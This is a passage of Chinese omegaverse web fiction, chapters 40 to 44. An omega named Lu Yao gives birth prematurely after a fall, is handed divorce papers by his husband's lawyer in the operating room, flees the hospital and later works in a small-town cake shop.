管家此时才从厨房里走出来,他隔着些距离看见鹿遥站在楼梯上不动,赶忙出声问道,“鹿先生,您不舒服了吗?” 鹿遥压下喉间酸涩,他摇摇头笑了一下,“没有。” 他急着下楼梯出去,不想让管家察觉出异样,可刚刚迈出一步却一脚踩空。 如果是电视剧那么会无限拉长摔倒的那一秒,可惜这不是,鹿遥的大脑还没有反应过来就已经狠狠滚到了地上。 管家脸色骤变,“鹿先生!” 管家从未显露出过如此慌张的神色,鹿遥疼得紧紧咬着牙发抖。 管家不敢贸然移动鹿遥,他迅速拨通紧急电话联系医生,“许医生?鹿先生在家里摔倒了,嗯,是在刚刚。” 鹿遥感觉身下有热流,他用尽全力勉强碰了一下,然后他抬起手,看清了手上沾着的血。 无法言喻的恐慌将他的心脏狠狠攥住,鹿遥用力咬了一下嘴唇让自己清醒,他小心翼翼抱住自己的肚子,“年年?年年…” 他感受不到年年的动静了,鹿遥把眼泪逼回去,但管家还是听出了他的哭腔,“年年不动了。” 管家瞬间挂断通话尽全力安抚鹿遥,“救护车很快就到,先到医院做检测,您放心,不会有事的。” 鹿遥哽咽着道,“傅晏淮…还要两天后才回来,可是,可是…” 可是他好想要自己的alpha回来陪他。 管家赶忙道,“我这就联系傅总,您别着急。” 腹部绞痛越来越强烈,鹿遥紧紧蜷缩起身体也无法缓解,他隐隐预感到孩子就要出生了。 但年年才八个月大,鹿遥绝望捂住肚子,“宝宝,你乖一点,都是我没有注意,你再多等一等好不好…” 等到鹿遥被匆忙送到医院时情况已经变得十分危急,许医生做过检查后当即严肃叫护士准备手术,“不能再等了,孩子有窒息风险。” 鹿遥的头发汗湿黏了几绺在额头上,他的唇色变得苍白,尽管如此鹿遥仍然勉力抓住医生衣角虚弱道,“医生,年年,状况怎么样。” 许医生看起来还算镇定,“omega孕产期会有许多意外情况出现,我用我的履历向您保证,您和傅总的孩子都一定会平安。” 此时此刻能让鹿遥安心比什么都重要,他的手指无力松开滑落在一旁,护士连忙给他戴上检查设备和氧气罩。 许医生留下来简短对管家交代一些需要的物品和注意事项,管家难得乱了阵脚,如果这个时候文筝在就好了,至少还有人能在这里陪着鹿遥。 麻醉剂注入身体的感觉不好受,手术室的的苍白灯光映照出鹿遥毫无血色的脸,鹿遥闭上眼睛,眼泪顺着脸侧悄悄坠落。【你现在阅读的是 】 40-50 第41章 第 41 章 急救 助理接到管家的来电时傅晏淮还在开会, 他一脸凝重地匆匆走到傅晏淮身边,弯下腰低声耳语两句。 等到听清后傅晏淮手上动作凝滞,他礼貌对一旁的合作方低声道, “先暂停二十分钟。” 傅晏淮进入休息室,助理迅速道, “现在已经在进行手术,老爷和夫人都还没有回来, 是严管家联系的您。” 管家联系傅晏淮, 但开会时手机放在助理那里, 现在得知消息鹿遥已经在生产了。 傅晏淮冷着脸皱眉道, “现在买最近回京城的机票…” 傅晏淮忽然停住迟迟不开口, 他想起来刚刚鹿遥的信息, 是因为看到他的回复所以才摔倒了吗。 助理迟疑道,“傅总?” 傅晏淮沉默不语,他其实没有想过要伤害鹿遥。 鹿遥其实… 傅晏淮停止思绪漫无边际地发散, 理智才是此刻最需要的东西。 “既然这样的话。”傅晏淮的嗓音听起来有些许沙哑, “也让律师把文件拿去吧。” 或许现在就是一个很好的时机, 在文筝回来前让一切尘埃落定。 鹿遥可能暂且无法接受,但很快他就会知道,以后的生活和现在不会有任何分别。 一点点微小的不同, 相信鹿遥会理解的。 助理不敢置信地抬头, “傅总,这样会不会太…” 临到此刻傅晏淮才发觉自己竟然有些胆怯,这几个月的时间真的是被工作绊住,连一点提早回家的时间都抽不出来吗? 其实不是的,傅晏淮做商业决策从来都坚定果断,他也从未出过错, 每一次他都能做出正确的选择。 但是这一次,傅晏淮也不知道自己做的事情是否正确。 傅晏淮无法面对鹿遥,看到鹿遥在等他,傅晏淮会动摇自己的决心。 他不肯承认自己是在逃避,于是他挑选了一个相对来说能让自己接受的说法,“还有复学通知,一起送给他。” 这样不是很好吗,孩子未来会有一个完美的家庭,鹿遥也可以继续追求自己的人生。 傅晏淮垂眸,“去订机票吧。” 麻醉针很长,但鹿遥已经感受不到疼痛,年年在六个月后就已经是个很活跃的宝宝,可是从摔倒到现在,年年都没有再动过,鹿遥很害怕。 对孩子的担忧让他克制住独自一人在手术室的恐惧,早产是具有很大风险的,即使是在医疗如此发达的现在。 手术室内没有人在说话,鹿遥耳边只有各种陌生的医疗机器在发出嘀嘀的声响。 他很想开口问一问孩子的状况,但脸上还带着呼吸面罩。 许医生紧皱眉头换剪刀,一旁的护士看出鹿遥的紧绷,她低声安慰道,“剖腹手术时间不会太慢,您不必太担心。” 鹿遥尽量侧过头看着她,他的眼睛还是湿润的,护士透过呼吸面罩勉强看清鹿遥在问孩子。 护士看了看一旁的胎心监护,“孩子没有出现缺氧窒息情况。” 许医生的声线平稳又温和,“我会尽快做完手术,您别着急,孩子目前状况稳定。” 或许是为了宽鹿遥的心,护士故作轻松地又说了一句,“毕竟是s级的孩子,大概率都不会出现问题的。” 不过出生时间的确早了一点,护士有点惋惜,有钱人家的孩子竟然会出现这种问题。 不管是不是安慰,鹿遥面上总算勉强笑了一笑。 或许也是注意到了鹿遥的紧张,许医生开始时不时地和鹿遥说一些轻松的话题,帮助鹿遥转移注意力。 没有过太久,鹿遥觉得进入手术室大约还不到一个小时,许医生就开口让护士出去通知管家在手术室外等待。 鹿遥努力转了一下头看向医生,许医生温声道,“孩子很快就能出生,早产儿需要评估身体各项机能,所以一出生就需要送到观察室的育婴箱里,这是正常流程,您不必太担心。再坚持一下,很快就好。” 鹿遥的心瞬间提起,这怎么可能不担心呢? 鹿遥一直都有些头晕,现在心脏开始剧烈跳动,许医生见状只能加快动作,“您再为了孩子坚持一下。” 护士匆忙走出手术室,却没有在门外看见管家。这家高端私立医院就是傅氏集团的衍生产业,傅家人医院的人都认识,但手术室外这个西装笔挺的人护士却不认得。 护士谨慎道,“请问您是…” “我是傅总请来代理签署合约的律师。” 陈律师对护士微微一点头,“这里有一份文件,需要鹿先生签署,手术完成了吗?” 护士一时也懵了,“还没有,您可以先到病房等待。” “不了。”傅晏淮交代在他赶到医院前合同签署完成,陈律师虽然也惊叹傅晏淮的冷血,但雇主的要求他不会拒绝。 “手术完成后方便让我进去一下吗?” 护士蹙眉道,“这需要问医生。” 陈律师后退一步,“那请您尽快。” 护士走进病房,手术已经进行到最关键的一步,她在离医生两步远的地方猛地停住脚。 “呼吸,对,深呼吸,好——” 许医生小心翼翼把孩子取出来,鹿遥拼尽全力往床尾的方向看,可是却被挡得严严实实,什么也看不到。 鹿遥摘不下来呼吸面罩,他最大音量地问出来,别人也只能听到含含糊糊的声音。 “年年,年年为什么没有哭?” 许医生神情严肃地把孩子倒提起来拍脚底,护士不敢再拖,她咬牙上前低声道,“门外有一名律师,说要进手术室给鹿先生签署文件。” 许医生差一点就要骂娘了,什么文件要在这个时候签,要不是傅晏淮是顶头老板,许医生真想骂一句有毛病。 孩子迟迟不哭,许医生当即道,“开抢救室。” 护士抱住孩子仓促往外走,医生给鹿遥进行伤口处理和缝合,她不能耽误太久的时间,因为鹿遥的状况也很糟糕。 “告诉他,缝合结束后换无菌服进来。” 手术室内一时乱极了,鹿遥眼前的景象都在转,但他强撑着不让自己晕过去。 他没有听到年年哭,为什么会送去抢救,他的孩子怎么了。 许医生语速极快道,“孩子出现窒息表现,我们要上外部辅助呼吸机械,后续孩子也需要在监护室进行观察,您可以在病房外探视。” 鹿遥的面色更加苍白,许医生不忍心再看。 许医生尽最快速度处理好伤口,她终于上前短暂摘下呼吸面罩,鹿遥没有注意到此时护士都已经在往外走。 “还有一份文件要您签署。” 许医生也不知道傅晏淮此时此刻在哪里在干什么,也不知道孩子能恢复到什么程度,她无法给出鹿遥肯定的安慰。 她看着有些疲惫,但口罩很好地掩饰了这一点,“然后您可以好好睡一觉。” 鹿遥不想睡觉,他想要自己的宝宝。 他勉强开口,“年年…” 医生俯下身道,“孩子还需要做进一步检查,您也要努力恢复自己的身体。” 陈律师没有给鹿遥留太多缓解情绪的时间,他走进手术室,许医生犹豫再三还是没有离开,只是站在稍远一点的位置。 以防鹿遥情况出现意外,她要好好看着鹿遥回到病房连接监护仪器。 鹿遥的虚弱让这位身经百战的律师也禁不住吃了一惊,不过各色见不得人的事他见过太多,陈律师深吸一口气后还是拿出来一份文件。 “请您在末尾页签一下自己的名字。” 鹿遥看不太清上面的字,也拿不动文件,他的声音很微弱。 “是晏淮让您来的吗?他回来了吗?” “是。”陈律师含糊道,“傅总已经在回来的路上,这份文件是傅总早就让我准备好的。” 陈律师把那份文件递到鹿遥眼前,“请您签一下,笔在这里。” 律师的本意是想让鹿遥仔细看一看条款,有些财产的分割对鹿遥还是很有利的,但鹿遥只看清了封皮上的五个字,离婚协议书。 从那一刻起,鹿遥彻底听不到外界的声音了。 他的眼睛睁得很大,但是空茫没有焦点。 “为什么。” 鹿遥的声音很轻,“因为我没有照顾好年年吗。” 还是他做错了什么呢。 律师只是沉默地翻到最后一页,“傅总只是希望利益最大化,您的生活状态不会发生改变。” 鹿遥只是迷迷糊糊地想着,其实傅晏淮没有必要这样做的。 在他生产过后来送上协议,其实在其他的时候他也会同意,他不是死缠烂打的人。 鹿遥感觉自己的手里被塞了一支笔,他最后勉强说出一句,“他只想要一个孩子。” 这句话的回应鹿遥没有听到,但这也已经不重要了,鹿遥的眼前其实已经完全看不清任何东西,他从来不知道只是抬起手都是这么累的事。鹿遥歪歪扭扭地写下自己的名字,然后彻底失去意识。 陈律师终于意识到不对劲,刺鼻的血腥味透过口罩刺激他的神经。 陈律师的声音伴随着刺耳的机器警报声响起,“医生!” 许医生内心崩溃但直接按下呼叫,陈律师被一拥而入的护士请出手术室。 “心率过低,注射止血缩剂。” “继续输血,止血绷带。” 许医生转头随便冲着身后问道,“孩子状况怎么样?” 一名护士连忙道,“目前生命体征已经恢复,正在做检查。” 许医生紧缩眉头,生命体征恢复不代表完全健康,早产儿还有很长一段时间才能离开保育箱。 “注射凝血因子。” 许医生疲惫道,“再去问问,傅总到底什么时候能回来。” 第42章 第 42 章 腺体 鹿遥再次醒来已经是三天后, 他眨了下眼睛,等了一会眼前景象才渐渐清晰。 他艰难地侧头往边上看了看,身体的异样让他回想起失去意识前的经历。 到了这个时候, 鹿遥反而没有眼泪了,移动过程中后颈轻微的刺痛让他回归清醒。 鹿遥努力想把呼吸面罩摘下去, 不知道是不是错觉,他竟然闻到了白冷杉的味道, 这是他现在最不想接近的东西。 但他还没有拽下来房间门就被匆匆推开, “鹿先生!” 许医生身后跟着很多人, 她先到床边仔细看了一下鹿遥的各项指标。 鹿遥就没有再动, 垂下眼不知道在想什么。 许医生一一看过数据后才松了一口气, 她小心斟酌语气道, “鹿先生,您已经昏睡了三天了。孩子没事,已经醒了, 但是器官未发育完全, 不能出保育箱。” 鹿遥确定自己真的闻到了傅晏淮的信息素味道, 他极其抗拒地别开头,想把呼吸面罩拿下来。 许医生连忙制止他的动作,“您现在还不能摘, 是戴着不舒服吗?” 鹿遥静静看着她, 手却没有松。 许医生束手无策道,“那给您换其他型号的吸氧器?” 隔着面罩,鹿遥的声音很模糊,“不要,有…信息素。” 许医生沉默一瞬,“您需要alpha的信息素来帮助稳定腺体。” 产后的omega信息素水平值会经历极大落差, 而腺体又很大程度关联身体健康,所以另一半的信息素安抚是极为重要的。这个过程往往要持续一个月到半年之久,要视omega身体情况恢复程度而定。 许医生也难以理解傅晏淮为什么忽然做出这样的事,虽说鹿遥的身份和傅家的确不匹配,可… 许医生在心中叹气,天之骄子顺风顺水长大,总觉得自己的人生每一处都该是完美的。 鹿遥仿佛没有听见许医生的话,他继续拽那个面罩,他此刻不想沾上一丁点和傅晏淮有关的东西。 许医生向后稍稍回头,护士都悄悄从房间里出去,许医生到底还是不忍心,把面罩短暂摘了下来。 鹿遥的眼神看起来很清明,“宝宝还好吗?” 许医生宽慰他道,“各项机能都在正常值内,您不用担心。” 鹿遥挣动了一下要下床,“我去看看他。” 许医生当然不敢让鹿遥再折腾,她俯下身急忙道,“无菌病房内是不允许探视的,今天的探视时间已经过去了,等到明天可以拍视频给您带出来。” 许医生很担心鹿遥受到刺激再次出血,孩子现在还在打针,身上还有仪器,她怕鹿遥见了情绪激动。 许医生看鹿遥还是执意下床,她再三保证,“傅总也回来了,傅总见过孩子。他毕竟是孩子的父亲,您还怕他照顾不好孩子吗?” 鹿遥忽然红着眼睛看她,“是傅晏淮让你来说这些的吗?” 许医生没有忽视鹿遥眼底的敌意,她惊愕之下手松了松,“不是,您…” 鹿遥不相信,他现在谁的话都不相信。 鹿遥积压的委屈在这一瞬间爆发,“年年也是我的孩子,凭什么不让我见他?!” 许医生承诺道,“明天,明天探视时间一定可以。” 鹿遥不想听这些,他只想确认自己的孩子是不是健康,医生说的话他不信。 许医生一筹莫展直起身,她为难地从旁边抽屉里拿出复学通知书。 “其实,律师还有这份文件要给您的。” 许医生想让鹿遥尽可能安下心,“所有的事情都会得到妥善解决,现在最重要的是恢复身体,您不能再折腾了。” 鹿遥咬牙紧紧盯着那个复学通知,他看着许医生问道,“这是用年年换来的吗?” 许医生愣住,“什么?” 鹿遥抬手用力把它推开,薄薄的纸轻飘飘落在地上。 “我不要,我要年年,我要我的宝宝。” 鹿遥不喜欢这里,医院什么都没有,没有他的爱人,也没有他的孩子。他所期盼的一切在此刻全部化作泡影,到头来,他还是什么都没有。 既然什么都不会拥有,又为什么让他误以为自己曾经得到过。明明他的愿望也很微小,他只是,他只是太渴望拥有自己的家了。 这里不是鹿遥的家,傅家老宅不是,傅晏淮的别墅不是,鹿家也不是。 京城这么大,却没有能容纳鹿遥的地方,医院的一切都让他感到窒息,他好想回家。 连接在鹿遥身上的仪器又开始发出嘀嘀的警报声,鹿遥呼吸急促,许医生顾不得其他还是把呼吸面罩又重新给他戴好。 许医生只能道,“傅总…如果您想和傅总谈谈,我可以代您联系。” 鹿遥抗拒地别开头,许医生只好加大安抚成分让鹿遥平稳下来。 白冷杉的味道清晰又浓郁,鹿遥却只觉得可笑。 他再也不想要闻到这个味道了。 许医生走之后鹿遥盯着天花板看了很久,他沉默地抬起手臂,上面绑着很多线,还连着一个吊瓶。 身上还是没有什么力气,身上奇奇怪怪的仪器很多,他都不能侧躺着蜷缩起来。 这里的一切都让鹿遥无所适从,产后的omega处于极度敏感又警惕的状态。身体毫无抵抗地接受白冷杉信息素和心理上的抵触让鹿遥时刻紧绷,尽管氧气源源不断输送,鹿遥还是觉得喘不过气来。 许医生关上门就直奔监护室,玻璃窗很大,足够外面站着的人看清里面的景象。 小小的婴儿不断挣动着哭泣,由于太小怕针管脱落,护士不得已松松用医护带绑着他的一只手。 或许是姿势不舒服,年年总是在哭。 许医生走到傅晏淮身后道,“傅总,鹿先生情绪还是很激动,我觉得…” 她看了一眼年年的状况,斟酌语气道,“不如等明天挑孩子状况好一些的时候,录一点点视频?” 傅晏淮一直皱着眉,孩子的情况出乎他的意料,鹿遥会大出血他也没有想到。陈律师为了尽快完成雇主的要求缩短了时间,傅晏淮不想当面逼迫鹿遥签署离婚文件,他也说不清楚为什么不想,总之他把这个难题抛给了律师。 但律师不包含任何私人感情,所以出现了一些和预期的偏差,傅晏淮此时有些后悔。 他停顿几秒后才问医生,“我现在去看他,可以吗?” 许医生迟疑道,“鹿先生似乎不太想见您…” 这句话让傅晏淮陷入沉默,鹿遥不想见他? 看来这次鹿遥真的很不高兴。 傅晏淮从未想过要鹿遥离开,他顿了顿道,“那我明天带着孩子的视频去见他。” “还有就是。”许医生小心道,“鹿先生抢救后严管家就联系了文夫人,刚刚文夫人问了我鹿先生的恢复情况。” “你直说就好。”傅晏淮不觉得文筝会过多过问这件事,当初他结婚文筝和傅际中也没有说什么。 “等她回来,我会和她解释的。” 许医生很质疑这能不能解释得清,不过幕后大老板的家事也轮不到她过问,“好的。” 傅晏淮捏了下眉心,“你们照顾好他。” 这个他很明显指的是鹿遥,许医生其实没有从傅晏淮身上体会到太多对孩子的关爱,但他做的这些事又好像表现得对孩子很在乎。 许医生虽然迷惑但依然照办,“我一定尽力。” 晚上鹿遥输了最后一袋液,他侧头轻声问护士道,“今天没有了吗?” 护士小心道,“是的,换药要到明天上午。” 鹿遥收回手,他有些恹恹,“我要睡觉。” 他加重语气强调,“你们都离我远一点。” 护士很显然不知所措了起来,鹿遥从孕期到现在一直都在这里做检查,他的性格孕产科的医生和护士都是清楚的,鹿遥从没有这样冷脸的时候。 护士担忧道,“这是私人病房,整层只有这一间,如果我们都离开,万一您晚上有不舒服…” 鹿遥打断她,“我不需要。” 护士无可奈何地点点头,等她临出病房门的时候,鹿遥忽然轻声问了一句,“监护室在哪里?” 护士答得很快,“就在三楼,等您身体好一些就可以去看小少爷了。” 鹿遥没有回答,医院都不让他看年年,那他就自己去看。 鹿遥等到夜深才缓慢翻身,今天白天他借着要上厕所起床站了一下,不过许医生很快就让鹿遥借着回去躺着休息。 其实产后适当行走有助于恢复,但鹿遥失血过多,而且他身体一向又都不太好,这样会容易晕倒。 鹿遥撑着床慢慢坐起来,他把身上所有的线全部拆掉。刚刚站起来时还有些头晕,鹿遥撑住一旁的桌子缓了很久。 鹿遥有点冷,他随手从一边的柜子里拿了件外套出来,然后十分缓慢地走向门口,拉开门。 傅晏淮不会对他说真话,医生只听傅晏淮的,鹿遥想看到自己的孩子,他迫切地现在就想见到,而不是再等到明天。 “三楼监护室。”鹿遥裹紧外套进入电梯,走这一段走廊就让他有点虚弱,他喃喃地看着电梯下降,“我还没有听到他哭呢。” 但他不知道,他在拔掉仪器的同时护士休息室的警报器就已经开始响了,不仅仅是三楼,每一层都在飞速开灯。 电梯平稳停下,在电梯门打开的一瞬间,鹿遥听到护士焦灼的声音,“鹿先生问过我监护室的位置!” 鹿遥下意识后退一步,然后按键直接关上门。 三楼的嘈杂声在电梯门关上后还是可以听到,护士和医生都在找他。 就像他怀孕和生产一样,鹿遥所有的一切都可以轻而易举地暴露在众人眼前,傅晏淮可以随意隐瞒他做任何事,医院也可以瞒着他不顾他的意愿抱走孩子和让他签离婚协议。 鹿遥的脸色不正常地泛红,他的思绪陷入混沌,外面气体的混杂让身体下意识地发出警告让他远离。 呼吸机和白冷杉信息素可以保证空气的纯净,鹿遥不知道产后最重要的是维持腺体正常运转。 腺体贴不能完全阻隔信息素的泄露,这些平常微小难以注意到的味道在此刻却能轻易刺激腺体。腺体敏感地察觉到了空气中各色信息素,在大脑反应过来之前,腺体先一步接收了这些。 鹿遥觉得这里不安全,一点都不安全,他裹紧外套,呼吸急促环视电梯。 他不能再在这里停留了。 巨大袭来的危机感促使他离开这里,医院外面很黑,他跌跌撞撞在草地里走,在他身后,医院的灯彻底亮了起来。 鹿遥不知道自己已经发烧了,他本能地朝着人少的地方走,树木的清新味道让他勉强恢复几分理智。 他缩在阴影中回头,不知道自己该回去还是离开。 短短几天发生的所有在此刻清晰且不受控地一点点在脑中浮现,鹿遥尝到了咸涩的味道,是他自己的眼泪。 医院的光映照出鹿遥脸上的泪痕,他哽咽地哭泣,“傅晏淮,我讨厌你,傅晏淮…” “我再也不要看到你了。” 第43章 第 43 章 L市 这家医院鹿遥来过很多次。从家到医院做孕检, 再从医院回家,每月固定往返,没有一次缺漏。 但今天, 大约是最后一次了。 傅晏淮的别墅此刻在鹿遥眼中变得十分陌生,他站在侧门仰头看着这栋房子, 好像今天才仔细地第一次看清它的样子。 鹿遥有点晃神,他忽然想起在最开始的时候, 刚刚和傅晏淮结婚, 他每天从侧门出去, 走到最近的共享单车位, 再坐一班公交, 然后再走到甜品店。 好像也没有隔多久, 不到一年的时间,再想起来却恍如隔世。 腺体的闷痛和高烧让鹿遥很虚弱,但他却没有停下, 而是凭着记忆推开侧门, 走过后院的草坪。 这里直接连通走廊, 最边角的屋子就是他的房间。 或许他早就该意识到的,傅晏淮的卧室只是傅晏淮的卧室,他其实从来就不属于那里。 唯一值得庆幸的是这条路线还是和从前一样遇不到任何一个人, 今天的别墅格外安静, 一盏灯都没有点开,鹿遥迟疑地按下初始密码,房间门开了。 鹿遥住在这里的时候还是个beta,房间应该只是每月按例打扫,鹿遥什么都没有闻到。 熟悉又陌生的感觉如潮水一般席卷全身,鹿遥打开柜子喃喃, “还都在。” 傅晏淮不喜欢他的旧外套,傅晏淮喜欢他穿深蓝色的绸缎面料,傅晏淮说鹿遥这样穿很漂亮。 他从身后抱着鹿遥,白冷杉和焦糖信息素紧密缠绕融合,鹿遥就满心甜蜜地以为他说的是真的。 鹿遥蹲下身捡起自己的外套,液体滴在上面晕出一圈一圈的深色痕迹。 一场美梦竟然需要这么大的代价才能换到,鹿遥没有勇气再继续下去了。 除了这一身衣服,鹿遥什么都没有带走,就像他来的时候一样。 鹿遥买了一张到L市的高铁票,但他没有坚持到目的地,身体状况远比他预料的要糟糕。 先是焦糖信息素不受控制地溢散,为了不影响到同车厢的乘客,鹿遥不得不临时购买了新的腺体贴一层一层覆盖。但腺体的闷痛很快转为尖锐刺痛,产后信息素十分不稳定,而且傅晏淮又是s级,鹿遥承受的痛苦要比其他低等级更大一些。 如果单纯只是疼痛和发烧鹿遥还可以勉强坚持,可三层腺体贴都已经无法挡住信息素的味道,鹿遥不得已把自己反锁进卫生间,他浑身泛冷地靠在墙上努力不让自己滑倒。 鹿遥在最近的站点下车,信息素紊乱的滋味很不好受,他身上很冷脸却很烫,鹿遥浑浑噩噩进入酒店房间后就晕倒了。 这期间的时间过得很混乱,鹿遥只记得自己清醒的时候满屋子都是焦糖苦涩的味道,腺体得不到alpha抚慰只顾着拼命制造信息素,滞空的疼痛让鹿遥难以忍受。 他选择了购买抑制剂让腺体安静下来。 鹿遥不知道自己一共打了多少针抑制剂,他真正恢复意识时自己是在床边趴着,地上有很多空的针管。 鹿遥觉得好像有哪里不对,他慢慢动了一下,茫然抬起头。 什么味道都没有,他什么都闻不到了。 鹿遥迟疑碰了一下自己的后颈,以前腺体充盈着满满当当的腺体/液,但现在像是一潭死水。 鹿遥恍然大悟地喃喃,“没有信息素了。” 他在原地坐了很久才自嘲地笑了一下,“也好,抑制剂和腺体贴也是很贵的。” 没有信息素,就不用买这些了,也不错。 他和傅晏淮关系的转变始于那场谁也没有意料到的发情期,结束于这个坏掉的腺体。 医院在鹿遥不见的第一时间就联系了傅晏淮,傅晏淮是从公司赶过来的。 “傅总!”许医生面上是肉眼可见的慌张,“鹿先生他…” 傅晏淮直接上楼一把推开病房门,空荡荡的床铺让他猛地止住脚步。 他转过头压抑怒火冷声问道,“你们就是这么照看病人的?” 许医生闭了闭眼,“是我们的疏忽。” 这一层走廊的休息室内仍然有护士在,可电梯在走廊的另一边,等护士到房间查看的时候,鹿遥大概是已经下楼了。 许医生紧接着又急切道,“可是傅总,现在最要紧的是把鹿先生找回来。他刚刚生产完又失血过多,如果没有信息素安抚会对身体造成很大损伤,您…” 傅晏淮深吸口气,他意简言赅道,“调监控。” 他接着转头吩咐助理,“查他名下今晚有没有离开的机票。” 傅晏淮的镇定让许医生稍稍放心了一些,但她还是提醒傅晏淮,“孩子需要鹿先生的信息素,凌晨三点就需要加上,生产那天提取的腺体/液已经用完了。” 原本明天要继续抽取一点点合成安抚剂的,这样既能保证孩子状态平稳,也不会伤害到鹿遥。 这也是一定要傅晏淮信息素辅助鹿遥腺体的原因,傅晏淮在这一方面倒还算利索,抽他的腺体/液很干脆。 “用人工安抚剂代替吧。” 傅晏淮一直冷着脸,他一不耐烦往下看人就显得我脾气很坏,许医生当即不敢再说什么。 助理很快就再次出现,他匆匆走近道,“傅总,查到了,有12:43从京城到L市的高铁动车票。” 12:43,傅晏淮看了一眼时间,赶不上了。 他捏了捏眉心,“直接买机票到L市等着。” 许医生担忧道,“到L市恐怕要十个小时,鹿先生的身体禁不住。” 傅晏淮闻言看向她,“既然禁不住,你是怎么会让他自己跑出去的?” 走廊内一瞬间安静下来,傅晏淮s级的威压感很重,许医生虽然是beta,但也有点冒冷汗。 停顿许久傅晏淮才饱含怒火道,“这件事交给院长处理,我要听到一个满意的答复,让他明天来见我。” 傅晏淮头也不回转身离开,许医生心凉了半截,“完了完了。” 但她很快又忍不住道,“还没恢复怎么就去那么远的地方,真是胡闹。” 归根结底这事还是得怨傅晏淮,许医生倒不担心处罚,她是鹿遥和孩子的主治医师,护士也是跟着她的团队,许医生估计就是要扣绩效。 但是鹿遥… “这孩子,原本身体就不好。” 文筝在鹿遥离开的第二天赶回京城,她一下飞机就连同傅际中一起赶到医院。 此时助理已经到L市,不出意外的话,鹿遥今晚就能回到医院。 许医生看见文筝比看见傅晏淮还心虚,文筝的高跟鞋走起来声音十分清脆,她站到许医生跟前匆忙问道,“小鹿呢?他现在恢复怎么样?孩子在哪?” 许医生含糊道,“在三楼,从这边上楼。” 文筝走得很快,她心焦道,“好端端的,怎么还能从楼梯上摔下去呢?傅晏淮呢?他在陪小鹿?” 许医生打哈哈道,“是啊,傅总最近也很忙…” 文筝很快就被监护室里的小婴儿吸引了全部的注意力,她激动地快步走上前,隔着玻璃看着年年,眼神变得心疼起来,“怎么这么小啊,还在打针,打的是什么?” 许医生低声道,“都是早产儿常见的维护心肺的…” “妈。” 文筝闻声回头,傅晏淮一晚没睡,眼底隐隐有血丝,下巴也冒出来点胡茬。 但文筝不大心疼,这么老大一个alpha,文筝觉得没什么可心疼的。 她恋恋不舍又回头看了两眼孩子,“你怎么下来了?小鹿呢?你不陪着他?” 傅晏淮一时陷入沉默,文筝回头蹙眉催促了一句,“你说话啊。” 傅际中补了两句,“早产很伤身体,你可要让鹿遥好好休息一阵子。” 傅晏淮深深看了孩子一眼,文筝心中咯噔一下,她面色严肃下来,“怎么回事。” 许医生给周围的护士使眼色,大家都悄悄退了出去。 傅晏淮垂眼看着地面,“鹿遥昨夜从医院离开了。” 文筝不可置信地提高音量,“离开?他去哪儿了?” “L市,不过您放心,我很快就会把他带回来。” 傅际中也皱着眉看着傅晏淮,文筝的脸彻底沉了,“发生了什么事,你一五一十给我说清楚。” 文筝如果想查,很快就能查出前因后果,况且傅晏淮也从未想过要瞒着。 他顿了顿,平静开口道,“在生产后,我给他签了离婚协议…” “啪!” 这应该是傅晏淮有记忆以来文筝第一次打他巴掌,傅际中也没有办法再看孩子了,他难以理解道,“离婚?谁让你离婚的?” 文筝竟然一丝怒气都没有,她冷冷甩了一下手又放回身前,“为什么早产,接着说。” 文筝这一巴掌用了十足的力气,傅晏淮尝到了血腥味。 “因为一篇我和H市地产商孩子的合照报道。” 文筝怒极反笑,“傅晏淮,你真是长本事了。” 傅晏淮没有说自己错了,也没有说要改,他沉默一瞬道,“我会把他找回来的。” “你以为你是谁,对着鹿遥召之即来挥之即去。”文筝不客气道,“你让人家离婚就离婚,让回来就回来?” 傅晏淮抿唇,“我没有想过让他离开,我只是换一种更适合彼此的生活方式。” 傅际中深深地震惊了,“你要不要听听你自己在说什么。” “他还可以像以前一样,我会单独给他购置一份产业,只要他…” 文筝选择用另一巴掌打断傅晏淮的话。 文筝懒得听傅晏淮的心路历程,“我会把所有事情都查清楚,我不管你用什么办法,你必须把鹿遥带回来。傅晏淮,你有没有心啊,他刚刚生过一个孩子,你敢让他就这么走了?!” 傅晏淮无可辩驳,他内心一直坚持的东西在此刻动摇,“助理已经到L市了,我会把他找回来的。” 文筝真是一眼都不想看他,助理的电话终于姗姗来迟地响起,“傅总!” 傅晏淮不愿意承认的焦急让他下意识脱口而出,“鹿遥找到了吗?” 助理的声音清晰传到三人耳中,“鹿先生没有到过L市,他很可能在途经的某一站提前下车了。” 傅晏淮的笃定和自信终于土崩瓦解,他怔愣反问,“鹿遥不在L市?” 文筝只不过出去旅游了一个月,回来就发现孩子早产了,傅晏淮和鹿遥离婚了,现在鹿遥人还不见了。 文筝气得连连冷笑,“从现在开始,到小鹿回来之前,年年都由我来照顾,你休想接近孩子一步。” “你不是喜欢公司吗?不是喜欢H市的omega吗?行,我管不了你,你以后就和公司过日子去吧。” 第44章 第 44 章 小狗 四个月后。 京城的周边小城市, 周三下午。 姚骏边系围裙边道,“真是抱歉今天来晚了一点,你还没有午休, 先去吃饭吧。” 鹿遥的脸藏在口罩后面,他轻轻摇头, “没关系。” 他给姚骏看了今天下午要用的订单,然后把已经做好的部分低声告诉他。 把蛋糕胚推过来的那只手很瘦, 虽然戴着帽子和口罩, 但仍然能看出鹿遥脸色很苍白。 姚骏忍不住道, “好, 我知道了。你快去休息, 下午没有那么多活, 应该能提早关店。” 鹿遥只是小声答应过就默默离开,他走到休息区换上自己的外套。但他没有去吃午饭,只是开了店的后门在台阶上坐着。 鹿遥没能在L市下车, 在快捷酒店生了一个星期的病, 他没有更多体力继续到达原本的目的地。 而且车票价格也并不便宜, 鹿遥的存款没有太多。 好在找工作和租房子的过程都出奇地顺利,可以说鹿遥人生中鲜少有如此幸运顺风顺水的时候。房子的地理位置和装潢布置都很合适,租金也比其他同等的便宜很多。 新的蛋糕店老板人很好, 还帮鹿遥先垫付了一个月的租金。 而且, 这里也离年年近一些。 虽然鹿遥看不到傅家的继承人小少爷,但京城周边流行起小道八卦总比L市更快,鹿遥在犹豫的时候听到顾客和店老板闲谈,说傅家大办了满月宴。 鹿遥就不再舍得离开了。 鹿遥把脸埋进膝盖里静静坐了一会,现在的工作强度其实并不高,但弯腰站一上午还是让他感到头晕, 腰也特别酸。 而且也有身体没完全恢复就跑出来的原因,鹿遥现在很容易生病。 等到头不那么晕,鹿遥才抬起头看着远处愣神。 他其实没什么胃口,也不是很饿,但是不吃东西下午就会更晕,生病吃药又是额外的开销。鹿遥想了想,还是决定去隔壁便利店买一碗泡面。 这里虽然离京城不是特别远,但却是一座生活节奏十分缓慢的小城市。今天是工作日,蛋糕店的后巷极少有人经过,鹿遥端着泡面坐回台阶上,他沉默地等泡面泡好。 